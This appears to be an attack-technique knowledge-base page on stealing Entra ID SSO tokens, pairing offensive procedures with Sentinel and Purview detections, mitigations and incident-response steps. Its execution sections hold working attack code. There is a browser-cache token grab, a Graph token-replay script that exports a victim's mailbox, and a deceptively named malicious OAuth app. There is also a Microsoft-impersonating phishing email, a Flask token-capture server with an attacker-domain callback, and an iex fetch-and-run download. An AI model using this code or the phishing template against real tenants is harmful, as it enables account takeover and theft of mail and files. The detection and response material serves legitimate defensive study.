MCADDF

[CA-TOKEN-021]: Entra SSO Credential Theft

1. METADATA HEADER

Attribute Details
Technique ID CA-TOKEN-021
MITRE ATT&CK v18.1 T1528 - Steal Application Access Token
Tactic Credential Access
Platforms Microsoft Entra ID (Azure AD), M365
Severity Critical
Technique Status ACTIVE
Last Verified 2025-01-08
Affected Versions Entra ID all versions, Office 365 all versions
Patched In No patch available; requires architectural changes
Author SERVTEPArtur Pchelnikau

Note: Sections 3 (Technical Prerequisites), 6 (Atomic Red Team), and 11 (Sysmon Detection) not included because: (1) This is cloud-only with no on-premises dependency, (2) No Atomic test exists for cloud SSO credential theft, (3) Sysmon does not apply to cloud authentication flows. All remaining sections have been renumbered sequentially.


2. EXECUTIVE SUMMARY

Concept: Entra ID Single Sign-On (SSO) credential theft occurs when an attacker intercepts, steals, or exfiltrates OAuth/OIDC access tokens issued by Entra ID’s authentication layer. Once a token is obtained, the attacker can impersonate the legitimate user across any cloud application that trusts the token (M365, Teams, SharePoint, custom SaaS apps). Unlike credential dumping, this attack does not require network access or local admin privileges—it can occur at the browser level, token cache level, or through compromised OAuth apps that hold user tokens. Critically, stolen Entra SSO tokens bypass password requirements entirely and often bypass multi-factor authentication (MFA) if the MFA challenge occurred before token issuance.

Attack Surface: Entra ID token caches (browser storage, memory), OAuth app permissions, token interception via man-in-the-middle (MITM), cloud application token databases, device compromise at the browser/OS level.

Business Impact: Full unauthorized access to cloud identity and cloud applications. An attacker holding a valid Entra SSO token can read emails, exfiltrate documents, modify cloud configurations, create backdoors, access sensitive databases, and move laterally through the entire Microsoft 365 ecosystem without the victim’s knowledge. The attack is particularly damaging because it leaves minimal forensic evidence if token replay is performed from the same geographic region.

Technical Context: Token theft can be executed within minutes of target compromise. Detection is difficult because the attacker uses legitimate tokens signed by Microsoft’s Entra ID infrastructure. Token lifetime varies (typically 1 hour for access tokens, longer for refresh tokens), creating a window of opportunity.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark (M365) 1.1.1, 1.1.2 Ensure MFA is enabled for all users; detects impossible conditions post-MFA
NIST 800-53 AC-3, IA-2, IA-8 Access Enforcement, Authentication, Device Identification
GDPR Art. 32, 33 Security of Processing, Breach Notification (72-hour requirement)
DORA Art. 18, 19 Incident Management, Advanced Security Monitoring
NIS2 Art. 21 Cyber Risk Management Measures (Critical Infrastructure)
ISO 27001 A.5.8, A.9.2.1 Authentication, User Access Management
ISO 27005 Section 12.6.1 Risk Response – Credential Compromise Scenarios

3. TECHNICAL CONTEXT & PREREQUISITES

Required Access:

Supported Versions:

Environmental Factors:


4. ENVIRONMENTAL RECONNAISSANCE

Via Azure Portal / PowerShell - Check SSO Token Cache Status

Objective: Verify whether refresh tokens are cached locally on the user’s machine and whether conditional access policies are limiting token lifetime.

Check Conditional Access Policies (PowerShell)

# Connect to Entra ID
Connect-MgGraph -Scopes "Policy.Read.All"

# List all Conditional Access policies
Get-MgIdentityConditionalAccessPolicy | Select-Object -Property DisplayName, State, CreatedDateTime

# Check for MFA enforcement on sensitive apps
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.DisplayName -like "*MFA*" } | Format-List

What to Look For:

Check OAuth App Permissions (PowerShell - Requires Global Admin)

# List all registered applications with high-risk permissions
Get-MgApplication | Where-Object { $_.RequiredResourceAccess -match "Mail.ReadWrite" -or $_.RequiredResourceAccess -match "Files.ReadWrite" } | Select-Object -Property DisplayName, AppId, CreatedDateTime | Format-Table

What to Look For:


5. DETAILED EXECUTION METHODS

METHOD 1: Token Theft via Browser Cache Extraction

Supported Versions: All browsers (Edge, Chrome, Firefox, Safari)

Step 1: Compromise User Device or Install Malicious Browser Extension

Objective: Gain access to browser’s token storage mechanism.

Command (Windows - Via Malware):

REM Browser token stores are typically located at:
REM Chrome/Chromium: %APPDATA%\Google\Chrome\User Data\Default\Local Storage\leveldb
REM Edge: %APPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb
REM Firefox: %APPDATA%\Mozilla\Firefox\Profiles\<profile>\storage\default

REM Extract tokens via PowerShell
Get-ChildItem -Path "$env:APPDATA\Google\Chrome\User Data\Default\Cache" -Recurse | Select-String -Pattern "access_token|refresh_token" | Out-File C:\Tokens.txt

OpSec & Evasion:

Detection Likelihood: Medium – Antivirus may detect token extraction tools; behavioral analysis may flag suspicious file access patterns.

Troubleshooting:

References & Proofs:

Step 2: Extract and Replay Stolen Token

Objective: Use stolen token to authenticate to Microsoft Graph API or cloud applications.

Command (PowerShell - Token Replay):

# Assume we have extracted a valid access token from browser cache
$stolenToken = "eyJ0eXAiOiJKV1QiLCJhbGc..."  # Real access token from victim

# Create authorization header
$headers = @{
    "Authorization" = "Bearer $stolenToken"
}

# Access Microsoft Graph API (simulating the victim)
$userInfo = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" -Headers $headers -Method Get
Write-Output $userInfo

# Extract victim's mailbox
$mailItems = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages" -Headers $headers -Method Get
$mailItems.value | Export-Csv -Path "C:\ExfilteredMail.csv" -NoTypeInformation

# Access SharePoint files
$sites = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/sites" -Headers $headers -Method Get

Expected Output:

{
  "id": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "displayName": "Victim User",
  "userPrincipalName": "victim@company.onmicrosoft.com",
  "mail": "victim@company.com"
}

What This Means:

OpSec & Evasion:

References & Proofs:

METHOD 2: Token Theft via OAuth Application Phishing

Supported Versions: All Entra ID versions

Step 1: Create Malicious OAuth Application

Objective: Register a legitimate-looking OAuth app in Entra ID that users will authorize.

Command (PowerShell - Register App):

# Connect to Entra ID
Connect-MgGraph -Scopes "Application.ReadWrite.All"

# Create malicious app registration
$appParams = @{
    DisplayName = "Microsoft Teams Analytics"  # Legitimate-sounding name
    PublicClient = $false
    RequiredResourceAccess = @(
        @{
            ResourceAppId = "00000003-0000-0000-c000-000000000000"  # Microsoft Graph
            ResourceAccess = @(
                @{
                    Id = "df021288-bdef-4463-88db-98f22db89214"  # Mail.ReadWrite
                    Type = "Scope"
                },
                @{
                    Id = "37f7f235-527c-4136-accd-4a02d197296e"  # Files.ReadWrite.All
                    Type = "Scope"
                }
            )
        }
    )
    Web = @{
        RedirectUris = @("https://attacker-controlled-domain.com/callback")
    }
}

$app = New-MgApplication @appParams
$appId = $app.AppId

# Create app secret
$secretParams = @{
    DisplayName = "default"
}
$appSecret = Add-MgApplicationPassword -ApplicationId $app.Id @secretParams

What This Means:

OpSec & Evasion:

Objective: Trick users into authorizing the malicious OAuth app.

Command (Bash - Generate Phishing Link):

# OAuth Device Code Flow (easier, no callback needed)
CLIENT_ID="xxxxx-app-id-xxxxx"
TENANT="common"  # Allows any tenant

DEVICE_FLOW_URL="https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode?client_id=${CLIENT_ID}&scope=https://graph.microsoft.com/.default"

# Or Authorization Code Flow with phishing domain
AUTH_CODE_URL="https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=${CLIENT_ID}&redirect_uri=https://attacker-domain.com/callback&response_type=code&scope=Mail.ReadWrite%20Files.ReadWrite.All&response_mode=form_post"

echo "Send this link to victims via phishing email:"
echo $AUTH_CODE_URL

Phishing Email Template:

Subject: Update Required: Microsoft Teams Analytics Integration

Hi <User>,

To improve your Teams experience, please authorize the Microsoft Teams Analytics application. 
Click the link below and sign in with your work account:

[MALICIOUS_OAUTH_LINK]

This authorization takes 2 minutes. Your Teams data will be used for analytics only.

Best regards,
Microsoft Teams Team

Troubleshooting:

References & Proofs:

Step 3: Capture and Store Stolen Tokens

Objective: Receive the authorization code and exchange it for access tokens.

Command (Node.js/Python - Token Capture Server):

# Python Flask server to capture tokens
from flask import Flask, request, jsonify
import requests

app = Flask(__name__)
CLIENT_ID = "xxxxx-app-id-xxxxx"
CLIENT_SECRET = "xxxxx-app-secret-xxxxx"
TENANT = "common"

@app.route('/callback', methods=['GET', 'POST'])
def callback():
    # Capture authorization code
    code = request.args.get('code')
    state = request.args.get('state')
    session_state = request.args.get('session_state')
    
    if not code:
        return jsonify({"error": "No code received"}), 400
    
    # Exchange code for access token
    token_url = f"https://login.microsoftonline.com/{TENANT}/oauth2/v2.0/token"
    token_data = {
        "client_id": CLIENT_ID,
        "client_secret": CLIENT_SECRET,
        "code": code,
        "redirect_uri": "https://attacker-domain.com/callback",
        "grant_type": "authorization_code",
        "scope": "https://graph.microsoft.com/.default"
    }
    
    # Request access token
    token_response = requests.post(token_url, data=token_data)
    tokens = token_response.json()
    
    # Store tokens in database
    access_token = tokens.get('access_token')
    refresh_token = tokens.get('refresh_token')
    
    # Log for later use
    print(f"[+] Captured Token for user: {extract_user_from_token(access_token)}")
    print(f"[+] Access Token: {access_token}")
    print(f"[+] Refresh Token: {refresh_token}")
    
    # Save tokens
    with open('stolen_tokens.txt', 'a') as f:
        f.write(f"{access_token}\n{refresh_token}\n")
    
    # Redirect user to legitimate O365 login page (cover tracks)
    return redirect("https://office365.com")

def extract_user_from_token(token):
    import base64
    parts = token.split('.')
    payload = base64.b64decode(parts[1] + '==')  # Add padding
    import json
    data = json.loads(payload)
    return data.get('upn', 'unknown')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=443, ssl_context=('cert.pem', 'key.pem'))

Expected Output:

[+] Captured Token for user: victim@company.com
[+] Access Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik5...
[+] Refresh Token: 0.AY4Q...

What This Means:


6. TOOLS & COMMANDS REFERENCE

Microsoft Graph PowerShell Module

Version: 2.0+ Installation:

Install-Module Microsoft.Graph -Force -Scope CurrentUser

AADInternals

Version: Latest (GitHub) Installation:

iex (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Gerenios/AADInternals/master/AADInternals.psd1")
Import-Module AADInternals

Usage:

# Get user's refresh tokens
Get-AADIntAccessTokenForRefresh -RefreshToken $refreshToken

Mimikatz

Version: 2.2.0+ Installation: GitHub Release Usage:

mimikatz.exe
dpapi::cache   # Decrypt cached tokens

7. MICROSOFT SENTINEL DETECTION

Query 1: Impossible Travel Followed by High-Volume Mail Access

Rule Configuration:

KQL Query:

let timeWindow = 30m;
let geoVelocityThreshold = 900;  // km per hour (average commercial aircraft)

SigninLogs
| where TimeGenerated > ago(timeWindow)
| where ResultType == 0  // Successful login
| project TimeGenerated, UserPrincipalName, Location = tostring(LocationDetails.city), Country = tostring(LocationDetails.countryOrRegion), IPAddress = IPAddress
| join kind=inner (
    SigninLogs
    | where TimeGenerated > ago(timeWindow)
    | where ResultType == 0
    | project UserPrincipalName, PriorLocation = tostring(LocationDetails.city), PriorCountry = tostring(LocationDetails.countryOrRegion)
) on UserPrincipalName
| where Location != PriorLocation and Country != PriorCountry
| project TimeGenerated, UserPrincipalName, FromLocation = PriorLocation, ToLocation = Location, IPAddress
| join kind=inner (
    AuditLogs
    | where TimeGenerated > ago(timeWindow)
    | where OperationName in ("Send", "Move", "Delete", "Update") and Resources[0].displayName contains "Exchange"
    | project UserPrincipalName = InitiatedBy.user.userPrincipalName, MailAction = OperationName, Count = 1
    | summarize MailAccessCount = count() by UserPrincipalName
    | where MailAccessCount > 5
) on UserPrincipalName
| project TimeGenerated, UserPrincipalName, FromLocation, ToLocation, IPAddress, MailAccessCount
| extend AlertReason = "Impossible travel detected followed by high-volume mail access"

Manual Configuration Steps (Azure Portal):

  1. Navigate to Microsoft SentinelAnalytics
  2. Click + CreateScheduled query rule
  3. General:
    • Name: Impossible Travel + Mail Access
    • Severity: High
  4. Set rule logic:
    • Paste KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 30 minutes
  5. Incident settings:
    • Enable Create incidents
    • Map fields: User = UserPrincipalName
  6. Click Review + create

False Positive Analysis:


8. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Suspicious Token Issuance via OAuth

# Connect to Exchange Online
Connect-ExchangeOnline

# Search for OAuth token issuance
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
  -Operations "Consent to application" `
  -ResultSize 1000 | Select-Object UserIds, Operations, AuditData | Export-Csv -Path "C:\OAuth_Consents.csv"

# Alternative: Search for suspicious RefreshToken events
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
  -Operations "Refresh token issuance" `
  -ResultSize 1000 | Format-List

Manual Steps (Purview Portal):

  1. Navigate to Microsoft Purview Compliance PortalAuditSearch
  2. Set date range: Last 7 days
  3. Under Activities, select: Consent to application, Add app password, Refresh token issuance
  4. Click Search
  5. Export results: ExportDownload all results

9. WINDOWS EVENT LOG MONITORING

Event ID: Not Applicable (Cloud-only attack)

This technique occurs entirely in cloud Entra ID infrastructure. No Windows Event Logs are generated on the victim’s endpoint during token theft. However, if a device was compromised to extract tokens from browser cache, the following events may be detected:

Event ID 4688 (Process Creation):


10. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: Suspicious Sign-in Activity

Enable Defender for Cloud Detection

# No direct PowerShell configuration; alerts are automatic in Defender for Cloud
# Verify alerts are enabled:
Get-MgSecurityAlert -Top 10 | Where-Object { $_.Title -like "*OAuth*" -or $_.Title -like "*Impossible*" }

11. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Commands (Verify Mitigations)

# Verify MFA is enforced
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.GrantControls.BuiltInControls -contains "mfa" } | Select-Object DisplayName, State

# Verify no legacy authentication
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.Conditions.ClientApplications.IncludeClientApplications -contains "legacy" }

# Verify session duration limits
Get-MgIdentityConditionalAccessPolicy | Select-Object DisplayName, @{N="SessionDuration"; E={$_.SessionControls}}

# Verify no users have permanent Global Admin role
Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'" | Get-MgDirectoryRoleMember | ForEach-Object {
    $iamrole = Get-MgDeviceManagementRoleEligibility -Filter "resourceId eq '$($_.id)'"
    if ($null -eq $iamrole) { Write-Host "$($_.displayName) has PERMANENT Global Admin - REMEDIATE" }
}

Expected Output (If Secure):

DisplayName: Enforce MFA for All Users
State: enabled

DisplayName: Session Duration = 1 hour
SessionDuration: SessionLifetime = 60 minutes

12. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Revoke all active sessions immediately
    Revoke-MgUserSignInSession -UserId "victim@company.com"
    
  2. Collect Evidence: Export audit logs
    Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
      -UserIds "victim@company.com" -ResultSize 5000 | Export-Csv -Path "C:\Evidence.csv"
    
  3. Remediate: Disable compromised user account and reset password
    Update-MgUser -UserId "victim@company.com" -AccountEnabled $false
    Reset-MgUserPassword -UserId "victim@company.com" -NewPassword $newPassword
    
  4. Hunt: Search for other compromised tokens
    # Check if attacker accessed other accounts via same IP
    Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) `
      -Operations "Consent to application" | Where-Object { $_.ClientIP -eq "attacker-ip" }
    

Step Phase Technique Description
1 Initial Access [IA-PHISH-002] Consent Grant OAuth Attacks Attacker sends phishing link for OAuth token grant
2 Privilege Escalation [PE-TOKEN-008] API Authentication Token Manipulation Stolen token upgraded to higher privileges via Graph API
3 Current Step [CA-TOKEN-021] Entra SSO credential theft via compromised device or OAuth app
4 Persistence [PE-ACCTMGMT-001] App Registration Permissions Escalation Attacker adds backdoor app with permanent token
5 Impact [COLLECT-EMAIL-001] Email Collection via EWS Exfiltrate entire mailbox using stolen token

14. REAL-WORLD EXAMPLES

Example 1: Storm-0558 MSA Key Compromise (2023)

Example 2: Scattered Spider OAuth Token Theft (2023-2024)


15. COMPLIANCE & AUDIT NOTES

Data Sources Required:

Retention Policy:

Incident Reporting: